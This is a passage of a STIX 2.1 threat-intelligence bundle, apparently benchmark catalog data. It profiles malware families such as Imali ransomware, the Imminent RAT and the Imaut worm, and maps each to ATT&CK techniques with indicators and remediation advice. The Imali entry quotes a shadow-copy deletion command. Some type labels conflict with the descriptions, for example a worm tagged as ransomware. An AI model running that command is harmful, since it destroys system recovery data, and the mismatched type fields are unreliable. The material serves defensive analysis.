      "id": "relationship--f94392e6-6164-51ef-a89e-c91c1113e77c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cda7d535-9856-53c0-aa6b-5214487f41ad",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iespy exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad17a406-4172-5949-83ff-7c1060575366",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Iezones",
      "description": "<h3>Executive Summary</h3>\nIEZones (Internet Explorer Zones) represents a class of Adware and Spyware that specifically targets the security zone configurations within Microsoft Internet Explorer (and legacy Windows components). By manipulating the Windows Registry keys that govern these \"zones,\" the adware forcibly lowers the system's built-in defenses, allowing it to silently download additional malware, inject advertisements, and hijack the user's browsing experience without triggering security warnings.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nIEZones adware is typically installed via software bundling (PUPs) or drive-by downloads originating from malicious or compromised websites.\n\nOnce active, it employs a highly specific method of system degradation:\n<ul>\n<li><strong>Security Zone Manipulation:</strong> The malware targets the Windows Registry at `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap`. It alters the settings for the \"Internet\" or \"Trusted Sites\" zones, drastically lowering the security posture (e.g., enabling unsigned ActiveX controls, allowing silent downloads, disabling anti-phishing filters).</li>\n<li><strong>Malicious Domain Whitelisting:</strong> The adware often adds attacker-controlled domains directly to the \"Trusted Sites\" zone. This allows any scripts or executables originating from those domains to run with elevated privileges and minimal user prompting.</li>\n<li><strong>Secondary Payload Facilitation:</strong> By crippling the browser's native security, IEZones acts as a gateway. The threat actors utilize the weakened defenses to push secondary payloads, including intrusive adware (pop-ups, banners), spyware (tracking cookies), and potentially severe Trojans.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Internet Explorer is deprecated, the underlying \"Internet Options\" configuration still affects legacy Windows components and some internal corporate applications. An IEZones infection severely degrades the endpoint's security posture, making it highly vulnerable to subsequent, automated exploitation from the web.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Registry Restoration:</strong> The primary remediation step is to utilize an anti-malware solution to remove the adware executable, and crucially, to restore the modified Internet Zone registry keys to their default, secure states.</li>\n<li><strong>Comprehensive Scan:</strong> Because IEZones intentionally lowers system defenses to allow secondary downloads, a deep, full-system scan must be performed to identify and remove any other malware that may have been silently installed while the defenses were down.</li>\n<li><strong>Group Policy Enforcement:</strong> IT administrators should utilize Active Directory Group Policy Objects (GPOs) to lock down the \"Internet Options\" configuration, preventing unauthorized modifications to the Security Zones by malware or standard users.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.IEZones",
        "Spyware.IEZones",
        "Trojan.ZoneMap"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Iezones",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/iezones"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36b338ce-a93d-5926-9629-13e37ba4ca4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad17a406-4172-5949-83ff-7c1060575366",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iezones exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3ea678f-ad13-5180-acf7-f1293d0c5bce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad17a406-4172-5949-83ff-7c1060575366",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iezones exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bf3a7c1-d7af-5883-9747-3a3addd0eeb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad17a406-4172-5949-83ff-7c1060575366",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iezones exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b9cde8b9-8a5d-57cb-901c-c106acf1f65e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ilomo",
      "description": "Trojan:Win32/Ilomo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ilomo</b><br>To an end-user, an Ilomo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ilomo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ilomo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ilomo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ilomo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ilomo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ilomo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc8d50f7-5782-59c4-b7ce-e3bcb478e892",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9cde8b9-8a5d-57cb-901c-c106acf1f65e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ilomo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee2aba02-86aa-577f-9954-a8075452e522",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9cde8b9-8a5d-57cb-901c-c106acf1f65e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ilomo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c04f74b-2de3-5d47-ab09-1671dae8f4d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9cde8b9-8a5d-57cb-901c-c106acf1f65e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ilomo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72534c03-7f3c-57ab-a034-d8a6c80012f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9cde8b9-8a5d-57cb-901c-c106acf1f65e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ilomo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a340252b-6623-527d-b6d5-2679b2bde27a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9cde8b9-8a5d-57cb-901c-c106acf1f65e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ilomo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--435c99cf-0637-5da6-9847-70ba5c173135",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Imali",
      "description": "Imali (tracked across antimalware signatures as Ransom:Win32/Imali, Trojan-Ransom.Win32.Imali, and Ransom.Imali) is a targeted Windows crypto-ransomware family designed for rapid local storage and network share encryption. Delivered via exploit kits, malicious software repacks, and brute-forced RDP accounts, Imali halts essential Windows database and backup services, deletes volume shadow copies with 'vssadmin delete shadows /all /quiet', and suppresses automatic recovery prompts via bcdedit. Imali encrypts target files using AES-256 in CBC mode, appending the '.imali' extension to encrypted files. It stores the encrypted session keys in each file header using an embedded RSA-2048 master public key, and generates ransom demand notes ('README_RESTORE_IMALI.txt') instructing victims to contact the threat operators. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Imali",
        "Trojan-Ransom.Win32.Imali",
        "Win32/Imali",
        "Ransom.Imali",
        "Imali Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Imali",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/imali"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f0f0ea7-8092-5d18-9df6-b7ef289892a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Imaut",
      "description": "<h3>Executive Summary</h3>\nImaut (often referred to as Worm.Imaut or AutoRun.Imaut) is a prolific family of legacy worms that primarily spread via removable media, most notably USB flash drives. While considered a \"classic\" threat, Imaut remains highly prevalent in industrial control systems (ICS), operational technology (OT) environments, and air-gapped networks where USB drives are frequently used to transfer data.\n\n<h3>Propagation and Execution Lifecycle</h3>\nImaut's primary objective is rapid, silent propagation across local networks and physical media.\n\nIts execution lifecycle relies heavily on abusing legacy Windows features:\n<ul>\n<li><strong>USB AutoRun Exploitation:</strong> When an infected USB drive is inserted into a Windows machine, the worm relies on the `AutoRun.inf` feature (or exploits vulnerabilities in how Windows handles shortcut `.lnk` files) to automatically execute its payload without any user interaction.</li>\n<li><strong>System Modification and Hiding:</strong> Once active on the host, Imaut copies itself to the Windows System directory and modifies the Registry to ensure it starts upon reboot. Crucially, it alters Windows Explorer settings to hide file extensions and hidden system files, ensuring the user cannot see the malicious executables on the USB drive.</li>\n<li><strong>Continuous Infection Cycle:</strong> The worm continuously monitors the system for new removable drives. When a clean USB drive is inserted, Imaut immediately copies itself to the drive, creates a malicious `AutoRun.inf` file, and waits for the drive to be plugged into a new victim machine.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Imaut rarely contains highly destructive payloads (like ransomware), its presence is a massive operational disruption. It can rapidly saturate networks, corrupt files on USB drives, and serve as a \"dropper\" for more severe malware. Furthermore, its ability to easily bridge \"air-gapped\" networks makes it a significant threat in critical infrastructure environments.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Disable AutoRun/AutoPlay:</strong> The most critical defense against Imaut is enforcing strict Group Policy Objects (GPOs) that entirely disable AutoRun and AutoPlay functionality across all drives in the enterprise.</li>\n<li><strong>USB Device Control:</strong> Implement endpoint security policies that restrict or completely block the use of unauthorized USB storage devices.</li>\n<li><strong>Registry Remediation:</strong> Removing the executable is insufficient. Incident response must include repairing the registry keys altered by the worm to restore the visibility of hidden files and folders, allowing users to verify their drives are clean.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Imaut",
        "W32/Imaut",
        "AutoRun.Imaut"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Imaut",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/imaut"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f702247-f216-563a-ae07-d8cd8e4342db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f0f0ea7-8092-5d18-9df6-b7ef289892a1",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imaut exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4d32aea-72d9-58d7-b96b-680e9d7a6695",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f0f0ea7-8092-5d18-9df6-b7ef289892a1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imaut exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2feb654b-fa32-5e9b-9f04-967d6f5886e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f0f0ea7-8092-5d18-9df6-b7ef289892a1",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imaut exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding the real folders))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0dfa0bc2-b96c-59f6-ac6a-ca066bc753d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Imestartup",
      "description": "BrowserModifier:Win32/Imestartup is a persistent Potentially Unwanted Program (PUA) and browser hijacker specifically designed to forcefully alter a user's web browser settings. It locks the default homepage, new tab page, and search engine to a specific, monetized affiliate portal (often associated with aggressive Input Method Editors or Chinese freeware networks), making it extremely difficult for the user to revert the changes.<br><br><b>Understanding Imestartup Hijackers</b><br>To an end-user, an Imestartup infection is maddening. No matter how many times they manually change their homepage back to Google, it reverts to the unwanted portal upon the next reboot. For security analysts, this represents a sophisticated hijacking attempt. The software utilizes deep OS-level hooks, often abusing legitimate Windows features like Group Policy Objects (GPOs), to enforce its settings on the browser.<br><br><b>Execution and Hijacking Mechanics</b><br>Imestartup is typically distributed as a bundled payload alongside free software, particularly third-party language tools or media players (`T1189`). During installation, it actively searches the system for installed browsers (Chrome, Edge, Firefox). It doesn't just install an extension; it fundamentally alters the browser's core configuration files (like Chrome's `Preferences` JSON) (`T1112`). Crucially, to prevent the user from fixing it, Imestartup often establishes local Windows Group Policies (`T1562.001`) that 'manage' the browser, grey-out the homepage settings in the UI, and force the browser to always open the malicious URL.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience and the redirection of all search traffic through a monetized, potentially insecure affiliate network. Incident responders will observe users complaining about locked browser settings. EDR logs will flag the modification of browser preference files and, most importantly, the unauthorized creation of new registry keys under `HKLM\\Software\\Policies\\Google\\Chrome` (or similar browser policy paths). (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Imestartup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/imestartup"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--870cf1fc-a27b-54fd-8ac9-05d36fde7682",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0dfa0bc2-b96c-59f6-ac6a-ca066bc753d2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imestartup exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8e4a9cd-a36f-5868-a5f3-ac96ad6fa878",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0dfa0bc2-b96c-59f6-ac6a-ca066bc753d2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imestartup exhibits technique T1112 (Modify Registry (Altering browser configurations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffdc7183-504f-50f3-ad4a-a2eb8a47c160",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0dfa0bc2-b96c-59f6-ac6a-ca066bc753d2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imestartup exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Abusing GPOs to lock settings))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8de90726-7a84-52e2-8529-e2532cad9cf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Imminent",
      "description": "Backdoor:Win32/Imminent (specifically, the **Imminent Monitor RAT**) was a highly sophisticated, commercially available Remote Access Trojan. Before its infrastructure was seized in an international law enforcement operation led by the Australian Federal Police and the FBI in 2019, it was sold on underground hacking forums for as little as $25. It provided buyers with total, interactive control over infected endpoints, operating as a classic Malware-as-a-Service (MaaS).<br><br><b>Understanding the Imminent Monitor RAT</b><br>To a victim, an Imminent infection was entirely covert; the RAT was specifically engineered to be 'crypter friendly' to evade local AV. For a SOC, Imminent represented a worst-case scenario: an attacker with hands-on-keyboard access, capable of data exfiltration, lateral movement, and severe privacy violations (including a highly publicized hidden webcam viewing feature).<br><br><b>Execution and Interactive Control Mechanics</b><br>Imminent was heavily deployed via spear-phishing campaigns (`T1566.001`) or by other initial access brokers dropping the payload (`T1105`). Once executed, it established persistence, often disguising itself within legitimate Windows folders or injecting into `svchost.exe` (`T1055`). It then established a persistent, encrypted C2 channel (`T1071.001`). The RAT's feature set was massive: live keylogging (`T1056.001`), password recovery from browsers (`T1555`), a hidden remote desktop (hVNC) that allowed the attacker to interact with the system without disturbing the user's visible desktop, and the ability to silently record the webcam and microphone (`T1125`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact was total compromise of confidentiality and privacy. Host-based IoCs included EDR alerts for suspicious child processes spawning from `svchost.exe` or `explorer.exe`, particularly processes making outbound network connections. Memory analysis would often reveal the unpacked Imminent payload (written in .NET) in the memory space of a legitimate process. Network IoCs included consistent, beaconing TCP traffic over non-standard ports to known malicious dynamic DNS providers. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Imminent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/imminent"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9270c2cb-7806-5b02-b5de-e9877e4c26f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8de90726-7a84-52e2-8529-e2532cad9cf0",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imminent exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7f15e96-7cde-57d1-a61c-294ac46f24ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8de90726-7a84-52e2-8529-e2532cad9cf0",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imminent exhibits technique T1125 (Video/Audio Capture (Stealth webcam recording))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1114e5d-a74c-536c-95a0-f330437e0842",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8de90726-7a84-52e2-8529-e2532cad9cf0",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imminent exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae0b6d1b-b9f8-58ef-9b44-aaab5c45e993",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8de90726-7a84-52e2-8529-e2532cad9cf0",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imminent exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a079132-4c91-5e9f-aede-4c68fd2efd2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Immirat",
      "description": "Immirat (classified across cybersecurity vendors as Trojan:Win32/Immirat, Backdoor:Win32/Immirat, and Trojan.Generic.Immirat) is a sophisticated remote access trojan (RAT) and backdoor targeting Microsoft Windows operating systems. Derived from modular commercial surveillance and crimeware frameworks, Immirat provides malicious operators with total interactive remote management over compromised endpoints. Upon execution, the malware establishes persistent registry Run keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and creates disguised background tasks. It initializes an encrypted TCP socket channel with remote command-and-control (C2) servers to receive operator instructions. Immirat is equipped with comprehensive surveillance modules including live remote desktop streaming, microphone and webcam capture, low-level keystroke logging, clipboard interception, and automated credential harvesting from web browsers and email clients. Furthermore, the backdoor supports arbitrary file upload and download, remote process injection into svchost.exe, command shell execution, and the ability to drop secondary ransomware or cryptocurrency mining payloads. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Immirat",
        "Backdoor:Win32/Immirat",
        "Win32/Immirat",
        "ImmiRAT",
        "Trojan.Immirat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Immirat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/immirat"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d60b8d29-89d6-547c-9812-bbe781a7cabb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a079132-4c91-5e9f-aede-4c68fd2efd2d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Immirat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca5adfb5-84a9-5e55-8761-ad6be815cfc8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a079132-4c91-5e9f-aede-4c68fd2efd2d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Immirat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b709e966-c39c-54dc-b85d-109db114edd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a079132-4c91-5e9f-aede-4c68fd2efd2d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Immirat exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9208800a-94dc-52e1-867d-1051850227b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a079132-4c91-5e9f-aede-4c68fd2efd2d",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Immirat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e487c3ff-cc30-51bd-aa4f-da4ce9c2fdb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a079132-4c91-5e9f-aede-4c68fd2efd2d",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Immirat exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c8ae0725-822e-5cf9-84bb-6bfc8ff2decc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Imps",
